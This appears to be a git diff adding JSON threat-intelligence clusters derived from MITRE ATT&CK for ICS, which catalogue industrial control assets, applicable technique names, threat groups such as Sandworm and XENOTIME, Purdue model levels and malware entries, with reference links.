https://collaborate.mitre.org/attackics/index.php/Technique/T805 ", + "Brute Force I/O https://collaborate.mitre.org/attackics/index.php/Technique/T806", + "Change Program State https://collaborate.mitre.org/attackics/index.php/Technique/T875", + "Commonly Used Port https://collaborate.mitre.org/attackics/index.php/Technique/T885", + "Control Device Identification https://collaborate.mitre.org/attackics/index.php/Technique/T808", + "Data Destruction https://collaborate.mitre.org/attackics/index.php/Technique/T809", + "Default Credentials https://collaborate.mitre.org/attackics/index.php/Technique/T812", + "Denial of Service https://collaborate.mitre.org/attackics/index.php/Technique/T814", + "Detect Operating Mode https://collaborate.mitre.org/attackics/index.php/Technique/T868", + "Detect Program State https://collaborate.mitre.org/attackics/index.php/Technique/T870", + "Device Restart/Shutdown https://collaborate.mitre.org/attackics/index.php/Technique/T816", + "Execution through API https://collaborate.mitre.org/attackics/index.php/Technique/T871", + "Exploitation for Evasion https://collaborate.mitre.org/attackics/index.php/Technique/T820", + "I/O Image https://collaborate.mitre.org/attackics/index.php/Technique/T877", + "I/O Module Discovery https://collaborate.mitre.org/attackics/index.php/Technique/T824", + "Man in the Middle https://collaborate.mitre.org/attackics/index.php/Technique/T830", + "Manipulate I/O Image https://collaborate.mitre.org/attackics/index.php/Technique/T835", + "Modify Alarm Settings https://collaborate.mitre.org/attackics/index.php/Technique/T838 ", + "Modify Control Logic https://collaborate.mitre.org/attackics/index.php/Technique/T833", + "Modify Parameter https://collaborate.mitre.org/attackics/index.php/Technique/T836", + "Module Firmware https://collaborate.mitre.org/attackics/index.php/Technique/T839", + "Monitor Process State https://collaborate.mitre.org/attackics/index.php/Technique/T801", + "Network Service Scanning https://collaborate.mitre.org/attackics/index.php/Technique/T841", + "Network Sniffing https://collaborate.mitre.org/attackics/index.php/Technique/T842", + "Program Download https://collaborate.mitre.org/attackics/index.php/Technique/T843", + "Program Organisational Units https://collaborate.mitre.org/attackics/index.php/Technique/T844", + "Program Upload https://collaborate.mitre.org/attackics/index.php/Technique/T845", + "Remote System Discovery https://collaborate.mitre.org/attackics/index.php/Technique/T846", + "Role Identification https://collaborate.mitre.org/attackics/index.php/Technique/T850", + "Rootkit https://collaborate.mitre.org/attackics/index.php/Technique/T851", + "Serial Connection Enumeration https://collaborate.mitre.org/attackics/index.php/Technique/T854", + "System Firmware https://collaborate.mitre.org/attackics/index.php/Technique/T857", + "Unauthorised Command Message https://collaborate.mitre.org/attackics/index.php/Technique/T855", + "Utilize/Change Operating Mode https://collaborate.mitre.org/attackics/index.php/Technique/T858", + "Valid Accounts https://collaborate.mitre.org/attackics/index.php/Technique/T859" + ], + "refss": [ + "https://ics-cert.us-cert.gov/Secure-Architecture-Design-Definitions", + "http://isa99.isa.org/ISA99%20Wiki/WP-2-1.aspx", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf" + ] + }, + "uuid": "1de9f3b2-07fc-4614-b07f-d5468e51770a", + "value": "Field Controller/RTU/PLC/IED" + }, + { + "description": "In computer science and human-computer interaction, the Human-Machine Interface (HMI) refers to the graphical, textual and auditory information the program presents to the user (operator) using computer monitors and audio subsystems, and the control sequences (such as keystrokes with the computer keyboard, movements of the computer mouse, and selections with the touchscreen) the user employs to control the program. Currently the following types of HMI are the most common: \nGraphical user interfaces(GUI) accept input via devices such as computer keyboard and mouse and provide articulated graphical output on the computer monitor. \nWeb-based user interfaces accept input and provide output by generating web pages which are transported via the network and viewed by the user using a web browser program. The operations user must be able to control the system and assess the state of the system. Each control system vendor provides a unique look-and-feel to their basic HMI applications. An older, not gender-neutral version of the term is man-machine interface (MMI). \nThe system may expose several user interfaces to serve different kinds of users. User interface screens may be optimized to provide the appropriate information and control interface to operations users, engineering users and management users.", + "meta": { + "Levels": [ + "Level 1 https://collaborate.mitre.org/attackics/index.php/Level_1", + "Level 2 https://collaborate.mitre.org/attackics/index.php/Level_2" + ], + "Notes": [ + "In many cases, these involve video screens or computer terminals, push buttons, auditory feedback, flashing lights, etc. The human-machine interface provides means of: \nInput - allowing the users to control the machine \nOutput - allowing the machine to inform the users" + ], + "Techniques That Apply": [ + "Commonly Used Port https://collaborate.mitre.org/attackics/index.php/Technique/T885", + "Data Destruction https://collaborate.mitre.org/attackics/index.php/Technique/T809", + "Data from Information Repositories https://collaborate.mitre.org/attackics/index.php/Technique/T811", + "Default Credentials https://collaborate.mitre.org/attackics/index.php/Technique/T812", + "Exploit of Remote Services https://collaborate.mitre.org/attackics/index.php/Technique/T866", + "Graphical User Interface https://collaborate.mitre.org/attackics/index.php/Technique/T823", + "Indicator Removal on host https://collaborate.mitre.org/attackics/index.php/Technique/T872", + "Loss of View https://collaborate.mitre.org/attackics/index.php/Technique/T829", + "Man in the Middle https://collaborate.mitre.org/attackics/index.php/Technique/T830", + "Manipulation of View https://collaborate.mitre.org/attackics/index.php/Technique/T832", + "Masquerading https://collaborate.mitre.org/attackics/index.php/Technique/T849", + "Modify Alarm Settings https://collaborate.mitre.org/attackics/index.php/Technique/T838", + "Modify Parameter https://collaborate.mitre.org/attackics/index.php/Technique/T836", + "Monitor Process State https://collaborate.mitre.org/attackics/index.php/Technique/T801", + "Network Connection Enumeration https://collaborate.mitre.org/attackics/index.php/Technique/T840", + "Point and Tag Identification https://collaborate.mitre.org/attackics/index.php/Technique/T861", + "Project File Infection https://collaborate.mitre.org/attackics/index.php/Technique/T873", + "Remote File Copy https://collaborate.mitre.org/attackics/index.php/Technique/T867", + "Remote System Discovery https://collaborate.mitre.org/attackics/index.php/Technique/T846", + "Replication Through Removable Media https://collaborate.mitre.org/attackics/index.php/Technique/T847", + "Rogue Master Device https://collaborate.mitre.org/attackics/index.php/Technique/T848", + "Role Identification https://collaborate.mitre.org/attackics/index.php/Technique/T850", + "Screen Capture https://collaborate.mitre.org/attackics/index.php/Technique/T852", + "Service Stop https://collaborate.mitre.org/attackics/index.php/Technique/T881", + "Spearphishing Attachment https://collaborate.mitre.org/attackics/index.php/Technique/T865", + "Standard Application Layer Protocol https://collaborate.mitre.org/attackics/index.php/Technique/T869", + "User Execution https://collaborate.mitre.org/attackics/index.php/Technique/T863", + "Valid Accounts https://collaborate.mitre.org/attackics/index.php/Technique/T859" + ], + "refss": [ + "https://ics-cert.us-cert.gov/Secure-Architecture-Design-Definitions", + "http://isa99.isa.org/ISA99%20Wiki/WP-2-1.aspx" + ] + }, + "uuid": "3894cc68-79e0-4673-8548-c6e1b57a93e2", + "value": "Human-Machine Interface" + }, + { + "description": "The Input/Output (I/O) server provides the interface between the control system LAN applications and the field equipment monitored and controlled by the control system applications. The I/O server, sometimes referred to as a Front-End Processor (FEP) or Data Acquisition Server (DAS), converts the control system application data into packets that are transmitted over various types of communications media to the end device locations. The I/O server also converts data received from the various end devices over different communications mediums into data formatted to communicate with the control system networked applications.", + "meta": { + "Levels": [ + "Level 2 https://collaborate.mitre.org/attackics/index.php/Level_2" + ], + "Techniques That Apply": [ + "Blocking Reporting Message https://collaborate.mitre.org/attackics/index.php/Technique/T804", + "Block Serial COM https://collaborate.mitre.org/attackics/index.php/Technique/T805", + "External Remote Services https://collaborate.mitre.org/attackics/index.php/Technique/T822", + "Serial Connection Enumeration https://collaborate.mitre.org/attackics/index.php/Technique/T854", + "System Firmware https://collaborate.mitre.org/attackics/index.php/Technique/T857", + "Valid Accounts https://collaborate.mitre.org/attackics/index.php/Technique/T859" + ], + "refss": [ + "https://ics-cert.us-cert.gov/Secure-Architecture-Design-Definitions" + ] + }, + "uuid": "c98dda59-afe3-4154-b672-96f18cb5991b", + "value": "Input/Output Server" + }, + { + "description": "A safety instrumented system (SIS) takes automated action to keep a plant in a safe state, or to put it into a safe state, when abnormal conditions are present. The SIS may implement a single function or multiple functions to protect against various process hazards in your plant. The function of protective relaying is to cause the prompt removal from service of an element of a power system when it suffers a short circuit or when it starts to operate in any abnormal manner that might cause damage or otherwise interfere with the effective operation of the rest of the system.", + "meta": { + "Levels": [ + "Level 0 https://collaborate.mitre.org/attackics/index.php/Level_0", + "Level 1 https://collaborate.mitre.org/attackics/index.php/Level_1" + ], + "Techniques That Apply": [ + "Activate Firmware Update Mode https://collaborate.mitre.org/attackics/index.php/Technique/T800", + "Alarm Suppression https://collaborate.mitre.org/attackics/index.php/Technique/T878", + "Automated Collection https://collaborate.mitre.org/attackics/index.php/Technique/T802", + "Commonly Used Port https://collaborate.mitre.org/attackics/index.php/Technique/T885 ", + "Default Credentials https://collaborate.mitre.org/attackics/index.php/Technique/T812", + "Denial of Service https://collaborate.mitre.org/attackics/index.php/Technique/T814", + "Exploitation for Evasion https://collaborate.mitre.org/attackics/index.php/Technique/T820", + "Indicator Removal on host https://collaborate.mitre.org/attackics/index.php/Technique/T872", + "Modify Alarm Settings https://collaborate.mitre.org/attackics/index.php/Technique/T838", + "Modify Control Logic https://collaborate.mitre.org/attackics/index.php/Technique/T833", + "Modify Parameter https://collaborate.mitre.org/attackics/index.php/Technique/T836", + "Module Firmware https://collaborate.mitre.org/attackics/index.php/Technique/T839 ", + "Monitor Process State https://collaborate.mitre.org/attackics/index.php/Technique/T801", + "Program Download https://collaborate.mitre.org/attackics/index.php/Technique/T843", + "Program Organisation Units https://collaborate.mitre.org/attackics/index.php/Technique/T844", + "Program Upload https://collaborate.mitre.org/attackics/index.php/Technique/T845", + "Remote System Discovery https://collaborate.mitre.org/attackics/index.php/Technique/T846", + "System Firmware https://collaborate.mitre.org/attackics/index.php/Technique/T857", + "Utilize/Change Operating Mode https://collaborate.mitre.org/attackics/index.php/Technique/T858", + "Valid Accounts https://collaborate.mitre.org/attackics/index.php/Technique/T859 " + ], + "refss": [ + "http://sache.org/beacon/files/2009/07/en/read/2009-07-Beacon-s.pdf", + "http://www.gegridsolutions.com/multilin/notes/artsci/artsci.pdf" + ] + }, + "uuid": "01ce6089-11cb-422f-ab05-ffe61ee4b21c", + "value": "Safety Instrumented System/Protection Relay" + } + ], + "version": 1 +} diff --git a/clusters/mitre-ics-groups.json b/clusters/mitre-ics-groups.json new file mode 100644 index 0000000..cc8d30f --- /dev/null +++ b/clusters/mitre-ics-groups.json @@ -0,0 +1,270 @@ +{ + "authors": [ + "MITRE" + ], + "category": "actor", + "description": "Groups are sets of related intrusion activity that are tracked by a common name in the security community. Groups are also sometimes referred to as campaigns or intrusion sets. Some groups have multiple names associated with the same set of activities due to various organizations tracking the same set of activities by different names. Groups are mapped to publicly reported technique use and referenced in the ATT&CK for ICS knowledge base. Groups are also mapped to reported software used during intrusions.", + "name": "Groups", + "source": "https://collaborate.mitre.org/attackics/index.php/Groups", + "type": "mitre-ics-groups", + "uuid": "8fb1c036-8904-4d4b-82d5-0286da77eb7e", + "values": [ + { + "description": "ALLANITE is a suspected Russian cyber espionage group, that has primarily targeted the electric utility sector within the United States and United Kingdom. The group's tactics and techniques are reportedly similar to Dragonfly / Dragonfly 2.0, although ALLANITE’s technical capabilities have not exhibited disruptive or destructive abilities. It has been suggested that the group maintains a presence in ICS for the purpose of gaining understanding of processes and to maintain persistence.", + "meta": { + "Associated Group Descriptions": [ + "ALLANITE", + "Palmetto Fusion" + ], + "Techniques Used": [ + "Screen Capture - ALLANITE has been identified to collect and distribute screenshots of ICS systems such as HMIs https://collaborate.mitre.org/attackics/index.php/Technique/T852", + "Drive-by Compromise - ALLANITE leverages watering hole attacks to gain access into electric utilities https://collaborate.mitre.org/attackics/index.php/Technique/T817", + "Valid Accounts - ALLANITE utilized credentials collected through phishing and watering hole attacks https://collaborate.mitre.org/attackics/index.php/Technique/T859", + "Spearphishing Attachment - ALLANITE utilized spear phishing to gain access into energy sector environments" + ], + "refs": [ + "https://dragos.com/resource/allanite/", + "https://www.us-cert.gov/ncas/alerts/TA17-293A", + "https://www.securityweek.com/allanite-group-targets-ics-networks-electric-utilities-us-uk", + "https://www.eisac.com/public-news-detail?id=115909" + ] + }, + "uuid": "fd28d200-2f1f-464a-af1f-fcadac7640a1", + "value": "ALLANITE" + }, + { + "description": "APT33 is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors.", + "meta": { + "Associated Group Descriptions": [ + "APT33 - Fireeye noted a potential link between APT33 and Shamoon based on similar dropper malware DROPSHOT", + "Elfin - Symantec mentioned a potential link between Elfin and Shamoon based on such close occurances of the attacks within a particular organization", + "MAGNALLIUM" + ], + "Techniques Used": [ + "Spearphishing Attachment - APT33 sent spear phishing emails containing links to HTML application files, which were embedded with malicious code.2 APT33 has conducted targeted spear phishing campaigns against U.S. government agencies and private sector companies https://collaborate.mitre.org/attackics/index.php/Technique/T865", + "Scripting - APT33 utilized PowerShell scripts to establish command and control and install files for execution https://collaborate.mitre.org/attackics/index.php/Technique/T853", + "Screen Capture - APT33 utilize backdoors capable of capturing screenshots once installed on a system https://collaborate.mitre.org/attackics/index.php/Technique/T852" + ], + "refs": [ + "https://attack.mitre.org/groups/G0064/", + "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", + "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://dragos.com/resource/magnallium/", + "https://www.wired.com/story/iran-hackers-us-phishing-tensions/", + "https://www.symantec.com/security-center/writeup/2017-030708-4403-99" + ] + }, + "uuid": "8f6f8a49-8a22-4494-a4c0-5a341444339a", + "value": "APT33" + }, + { + "description": "Dragonfly is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. A similar group emerged in 2015 and was identified by Symantec as Dragonfly 2.0. There is debate over the extent of the overlap between Dragonfly and Dragonfly 2.0, but there is sufficient evidence to lead to these being tracked as two separate groups.", + "meta": { + "Associated Group Descriptions": [ + "Dragonfly", + "Energetic Bear" + ], + "Software": [ + "Backdoor.Oldrea" + ], + "Techniques Used": [ + "Screen Capture - Dragonfly has been reported to take screenshots of the GUI for ICS equipment, such as HMIs https://collaborate.mitre.org/attackics/index.php/Technique/T852", + "Spearphishing Attachment - Dragonfly sent pdf documents over email which contained links to malicious sites and downloads https://collaborate.mitre.org/attackics/index.php/Technique/T865", + "Drive-by Compromise - Dragonfly used intermediate targets for watering hole attacks on an intended target. A line of code is injected into the header.php file, this is used to redirect the visitors to an adversary controlled IP https://collaborate.mitre.org/attackics/index.php/Technique/T817", + "Valid Accounts - Dragonfly leveraged compromised user credentials to access the targets networks and download tools from a remote server https://collaborate.mitre.org/attackics/index.php/Technique/T859", + "Commonly Used Port - Dragonfly communicated with command and control over TCP ports 445 and 139 or UDP 137 or 138 https://collaborate.mitre.org/attackics/index.php/Technique/T885" + ], + "refs": [ + "https://attack.mitre.org/groups/G0035/", + "https://dragos.com/resource/dymalloy/", + "https://www.us-cert.gov/ncas/alerts/TA17-293A", + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf", + "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group" + ] + }, + "uuid": "9b4143ce-253c-45c4-a160-0d0a7450aace", + "value": "Dragonfly" + }, + { + "description": "Dragonfly 2.0 is a suspected Russian threat group which has been active since at least late 2015. Dragonfly 2.0's initial reported targets were a part of the energy sector, located within the United States, Switzerland, and Turkey. There is debate over the extent of overlap between Dragonfly 2.0 and Dragonfly, but there is sufficient evidence to lead to these being tracked as two separate groups.", + "meta": { + "Associated Group Descriptions": [ + "Dragonfly 2.0", + "Beserk Bear", + "DYMALLOY" + ], + "Techniques Used": [ + "Spearphishing Attachment - Dragonfly 2.0 used the Phishery tool kit to conduct spear phishing attacks and gather credentials.14 Dragonfly 2.0 conducted a targeted spear phishing campaign against multiple electric utilities in the North America https://collaborate.mitre.org/attackics/index.php/Technique/T865", + "Supply Chain Compromise - Dragonfly 2.0 trojanized legitimate software to deliver malware disguised as standard windows applications https://collaborate.mitre.org/attackics/index.php/Technique/T862", + "https://collaborate.mitre.org/attackics/index.php/Technique/T817 https://collaborate.mitre.org/attackics/index.php/Technique/T817", + "Valid Accounts - Dragonfly 2.0 used credentials collected through spear phishing and watering hole attacks https://collaborate.mitre.org/attackics/index.php/Technique/T859" + ], + "refs": [ + "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group", + "https://fortune.com/2017/09/06/hack-energy-grid-symantec/", + "https://dragos.com/resource/dymalloy/", + "https://blog.talosintelligence.com/2017/07/template-injection.html", + "https://dragos.com/wp-content/uploads/Sample-WorldView-Report.pdf", + "https://dragos.com/wp-content/uploads/yir-ics-activity-groups-threat-landscape-2018.pdf" + ] + }, + "uuid": "790c3072-49d1-4c4f-8fd0-dc3db50887c1", + "value": "Dragonfly 2.0" + }, + { + "description": "HEXANE is a threat group that has targeted ICS organization within the oil & gas, and telecommunications sectors. Many of the targeted organizations have been located in the Middle East including Kuwait. HEXANE's targeting of telecommunications has been speculated to be part of an effort to establish man-in-the-middle capabilities throughout the region. HEXANE's TTPs appear similar to APT33 and OilRig but due to differences in victims and tools it is tracked as a separate entity.", + "meta": { + "Associated Group Descriptions": [ + "HEXANE", + "Lyceum" + ], + "Techniques Used": [ + "Spearphishing Attachment - HEXANE has used malicious documents to drop malware and gain access into an environment https://collaborate.mitre.org/attackics/index.php/Technique/T865", + "Standard Application Layer Protocol - HEXANE communicated with command and control over HTTP and DNS https://collaborate.mitre.org/attackics/index.php/Technique/T869", + "Valid Accounts - HEXANE has used valid IT accounts to extend their spearphishing campaign within an organization https://collaborate.mitre.org/attackics/index.php/Technique/T859", + "Man in the Middle - HEXANE targeted telecommunication providers in the greater Middle East, Central Asia, and Africa, potentially as a stepping stone to network-focused man-in-the-middle and related attacks https://collaborate.mitre.org/attackics/index.php/Technique/T830", + "Scripting - HEXANE utilizes VBA macros and Powershell scripts such as DanDrop and kl.ps1 tools https://collaborate.mitre.org/attackics/index.php/Technique/T853" + ], + "refs": [ + "https://dragos.com/resource/hexane/", + "https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign", + "https://www.securityweek.com/researchers-analyze-tools-used-hexane-attackers-against-industrial-firms", + "https://www.bankinfosecurity.com/lyceum-apt-group-new-threat-to-oil-gas-companies-a-13003" + ] + }, + "uuid": "a529ddda-9a44-4a0f-912e-4681f442b488", + "value": "HEXANE" + }, + { + "description": "Lazarus group is a suspected North Korean adversary group that has targeted networks associated with civilian electric energy in Europe, East Asia, and North America. Links have been established associating this group with the WannaCry ransomware from 2017.3 While WannaCry was not an ICS focused attack, Lazarus group is considered to be a threat to ICS. North Korean group definitions are known to have significant overlap, and the name Lazarus Group is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea. Some organizations track North Korean clusters or groups such as Bluenoroff, APT37, and APT38 separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.", + "meta": { + "Associated Group Descriptions": [ + "Lazarus group", + "COVELLITE", + "HIDDEN COBRA", + "ZINC", + "Guardians of Peace" + ], + "Software": [ + "WannaCry" + ], + "Techniques Used": [ + "Spearphishing Attachment - Lazarus group has been observed targeting organizations using spearphishing documents with embedded malicious payloads. Highly targeted spear phishing campaigns have been conducted against a U.S. electric grid company https://collaborate.mitre.org/attackics/index.php/Technique/T865" + ], + "refs": [ + "https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity", + "https://dragos.com/resource/covellite/", + "https://www.us-cert.gov/ncas/alerts/TA17-132A", + "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", + "https://www.us-cert.gov/ncas/alerts/TA17-164A", + "https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/", + "https://www.securityweek.com/five-threat-groups-target-industrial-systems-dragos", + "https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group" + ] + }, + "uuid": "3bbf3f0f-346d-49ad-9300-3bb0f23c83ef", + "value": "Lazarus group" + }, + { + "description": "Leafminer is a threat group that has targeted Saudi Arabia, Japan, Europe and the United States. Within the US, Leafminer has targeted electric utilities and initial access into those organizations. Reporting indicates that Leafminer has not demonstrated ICS specific or destructive capabilities.", + "meta": { + "Associated Group Descriptions": [ + "Leafminer", + "RASPITE" + ], + "refs": [ + "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east", + "https://dragos.com/resource/raspite/" + ] + }, + "uuid": "956a44f1-0d5c-4f3c-a9a7-16f96f9656e4", + "value": "Leafminer" + }, + { + "description": "OilRig is a suspected Iranian threat group that has targeted the financial, government, energy, chemical, and telecommunication sectors as well as petrochemical, oil & gas. OilRig has been observed operating in Iraq, Pakistan, Israel, and the UK, and has been linked to the Shamoon attacks in 2012 on Saudi Aramco. ", + "meta": { + "Associated Group Descriptions": [ + "OilRig", + "CHRYSENE", + "Greenbug", + "APT 34" + ], + "Techniques Used": [ + "Spearphishing Attachment - OilRig used spearphishing emails with malicious Microsoft Excel spreadsheet attachments https://collaborate.mitre.org/attackics/index.php/Technique/T865", + "Scripting - OilRig has embedded a macro within spearphishing attachments that has been made up of both a VBScript and a PowerShell script https://collaborate.mitre.org/attackics/index.php/Technique/T853", + "Standard Application Layer Protocol - OilRig communicated with its command and control using HTTP requests https://collaborate.mitre.org/attackics/index.php/Technique/T869", + "Drive-by Compromise - OilRig has been seen utilizing watering hole attacks to collect credentials which could be used to gain access into ICS networks https://collaborate.mitre.org/attackics/index.php/Technique/T817", + "Valid Accounts - OilRig utilized stolen credentials to gain access to victim machines https://collaborate.mitre.org/attackics/index.php/Technique/T859" + ], + "refs": [ + "https://www.fireeye.com/current-threats/apt-groups.html#apt34", + "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html", + "https://dragos.com/resource/chrysene/", + "https://unit42.paloaltonetworks.com/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/", + "https://unit42.paloaltonetworks.com/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/", + "https://www.cyberviser.com/2018/05/group-linked-to-shamoon-attacks-targeting-ics-networks-in-middle-east-and-uk/" + ] + }, + "uuid": "4945c0e7-9f4b-404d-83b2-e5cd3f26c32f", + "value": "OilRig" + }, + { + "description": "Sandworm is a threat group associated with the Kiev, Ukraine electrical transmission substation attacks which resulted in the impact of electric grid operations on December 17th, 2016. Sandworm has been cited as the authors of the Industroyer malware which was used in the 2016 Ukraine attacks.", + "meta": { + "Associated Group Descriptions": [ + "Sandworm", + "ELECTRUM" + ], + "Software": [ + "Industroyer", + "Notpetya" + ], + "Techniques Used": [ + "Internet Accessible Device - Sandworm actors exploited vulnerabilities in GE's Cimplicity HMI and Advantech/Broadwin WebAccess HMI software which had been directly exposed to the internet https://collaborate.mitre.org/attackics/index.php/Technique/T883", + "Valid Accounts - Sandworm used valid accounts to laterally move through VPN connections and dual-homed systems https://collaborate.mitre.org/attackics/index.php/Technique/T859" + ], + "refs": [ + "https://dragos.com/resource/electrum/", + "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf", + "https://dragos.com/blog/crashoverride/CrashOverride-01.pdf", + "https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html", + "https://www.us-cert.gov/ics/alerts/ICS-ALERT-14-281-01B", + "https://www.us-cert.gov/ics/advisories/ICSA-11-094-02B", + "https://dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf", + "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", + "https://www.wired.com/story/notpetya-cyberattack-ukraine-russia-code-crashed-the-world/" + ] + }, + "uuid": "b4fbf3b0-1a5e-4bdc-8977-74fff1db19ff", + "value": "Sandworm" + }, + { + "description": "XENOTIME is a threat group that has targeted and compromised industrial systems, specifically safety instrumented systems that are designed to provide safety and protective functions. Xenotime has previously targeted oil & gas, as well as electric sectors within the Middle east, Europe, and North America. Xenotime has also been reported to target ICS vendors, manufacturers, and organizations in the middle east. This group is one of the few with reported destructive capabilities.", + "meta": { + "Associated Group Descriptions": [ + "XENOTIME", + "TEMP.Veles - Fireeye attributes with high confidence that intrusion activity and Triton development was supported by a Russian government-owned technical research institution." + ], + "Software": [ + "Triton" + ], + "Techniques Used": [ + "Drive-by Compromise - XENOTIME utilizes watering hole websites to target industrial employees https://collaborate.mitre.org/attackics/index.php/Technique/T817", + "External Remote Services - XENOTIME utilized remote desktop protocol (RDP) jump boxes to move into the ICS environment https://collaborate.mitre.org/attackics/index.php/Technique/T822", + "Valid Accounts - XENOTIME used valid credentials when laterally moving through RDP jump boxes into the ICS environment https://collaborate.mitre.org/attackics/index.php/Technique/T859", + "Supply Chain Compromise - XENOTIME targeted several ICS vendors and manufacturers https://collaborate.mitre.org/attackics/index.php/Technique/T862" + ], + "refs": [ + "https://dragos.com/resource/xenotime/", + "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html", + "https://www.cyberscoop.com/xenotime-ics-cyber-attacks-trisis-dragos/", + "https://dragos.com/blog/trisis/TRISIS-01.pdf", + "https://dragos.com/wp-content/uploads/Dragos-Oil-and-Gas-Threat-Perspective-2019.pdf" + ] + }, + "uuid": "acb04037-e160-4a4e-a8cf-8a53a2f8221b", + "value": "XENOTIME" + } + ], + "version": 1 +} diff --git a/clusters/mitre-ics-levels.json b/clusters/mitre-ics-levels.json new file mode 100644 index 0000000..4db5335 --- /dev/null +++ b/clusters/mitre-ics-levels.json @@ -0,0 +1,53 @@ +{ + "authors": [ + "MITRE" + ], + "category": "level", + "description": "Based on the Purdue Model to aid ATT&CK for ICS users to understand which techniques are applicable to their environment.", + "name": "Levels", + "source": "https://collaborate.mitre.org/attackics/index.php/All_Levels", + "type": "mitre-ics-levels", + "uuid": "952bcf79-eccd-45ac-9769-f61886bd0264", + "values": [ + { + "description": "The I/O network level includes the actual physical processes and sensors and actuators that are directly connected to process equipment.", + "meta": { + "Related Assets": [ + "Engineering Workstation https://collaborate.mitre.org/attackics/index.php/Engineering_Workstation", + "Field Controller/RTU/PLC/IED https://collaborate.mitre.org/attackics/index.php/Field_Controller/RTU/PLC/IED", + "Safety Instrumented System/Protection Relay https://collaborate.mitre.org/attackics/index.php/Safety_Instrumented_System/Protection_Relay" + ] + }, + "uuid": "614c4df5-b65f-4f3c-bb9f-b67549dfce2f", + "value": "Level 0" + }, + { + "description": "The control network level includes the functions involved in sensing and manipulating physical processes. Typical devices at this level are programmable logic controllers (PLCs), distributed control systems, safety instrumented systems and remote terminal units (RTUs).", + "meta": { + "Related Assets": [ + "Engineering Workstation https://collaborate.mitre.org/attackics/index.php/Engineering_Workstation", + "Field Controller/RTU/PLC/IED https://collaborate.mitre.org/attackics/index.php/Field_Controller/RTU/PLC/IED", + "Human-Machine Interface https://collaborate.mitre.org/attackics/index.php/Human-Machine_Interface", + "Safety Instrumented System/Protection Relay https://collaborate.mitre.org/attackics/index.php/Safety_Instrumented_System/Protection_Relay" + ] + }, + "uuid": "b9b1c942-b419-4919-ba14-40b24b0fbbd5", + "value": "Level 1" + }, + { + "description": "The supervisory control LAN level includes the functions involved in monitoring and controlling physical processes and the general deployment of systems such as human-machine interfaces (HMIs), engineering workstations and historians.", + "meta": { + "Related Assets": [ + "Control Server https://collaborate.mitre.org/attackics/index.php/Control_Server", + "Data Historian https://collaborate.mitre.org/attackics/index.php/Data_Historian", + "Engineering Workstation https://collaborate.mitre.org/attackics/index.php/Engineering_Workstation", + "Human-Machine Interface https://collaborate.mitre.org/attackics/index.php/Human-Machine_Interface", + "Input/Output Server https://collaborate.mitre.org/attackics/index.php/Input/Output_Server" + ] + }, + "uuid": "358d768d-5a97-4b1b-b185-044c1dd14357", + "value": "Level 2" + } + ], + "version": 1 +} diff --git a/clusters/mitre-ics-software.json b/clusters/mitre-ics-software.json new file mode 100644 index 0000000..e42707f --- /dev/null +++ b/clusters/mitre-ics-software.json @@ -0,0 +1,453 @@ +{ + "authors": [ + "MITRE" + ], + "category": "tool", + "description": "Software is a generic term for custom or commercial code, operating system utilities, open-source software, or other tools used to conduct behavior modeled in ATT&CK for ICS.", + "name": "Software", + "source": "https://collaborate.mitre.org/attackics/index.php/Software", + "type": "mitre-ics-software", + "uuid": "7d259f36-6e80-472e-9a42-9d4a83519825", + "values": [ + { + "description": "ACAD/Medre.A is a worm that steals operational information. The worm collects AutoCAD files with drawings. ACAD/Medre.A has the capability to be used for industrial espionage.", + "meta": { + "Techniques Used": [ + "Theft of Operational Information - ACAD/Medre.A can collect AutoCad files with drawings. These drawings may contain operational information https://collaborate.mitre.org/attackics/index.php/Technique/T882", + "Data from Information Repositories - ACAD/Medre.A collects information related to the AutoCAD application. The worm collects AutoCAD (*.dwg) files with drawings from information repositories https://collaborate.mitre.org/attackics/index.php/Technique/T811" + ], + "refs": [] + }, + "uuid": "73f55487-1e11-4cec-b57f-4cabe4633928", + "value": "ACAD/Medre.A" + }, + { + "description": "Backdoor.Oldrea is a Remote Access Trojan (RAT) that communicates with a Command and Control (C2) server. The C2 server can deploy payloads that provide additional functionality. One payload has been identified and analyzed that enumerates all connected network resources, such as computers or shared resources, and uses the classic DCOM-based (Distributed Component Object Model) version of the Open Platform Communications (OPC) standard to gather information about connected control system devices and resources within the network.", + "meta": { + "Associated Software Descriptions": [ + "Backdoor.Oldrea", + "Havex" + ], + "Groups": [ + "Dragonfly https://collaborate.mitre.org/attackics/index.php/Group/G0002" + ], + "Techniques Used": [ + "Role Identification - The Backdoor.Oldrea payload gathers server information that includes CLSID, server name, Program ID, OPC version, vendor information, running state, group count, and server bandwidth. This information helps indicate the role the server has in the control process 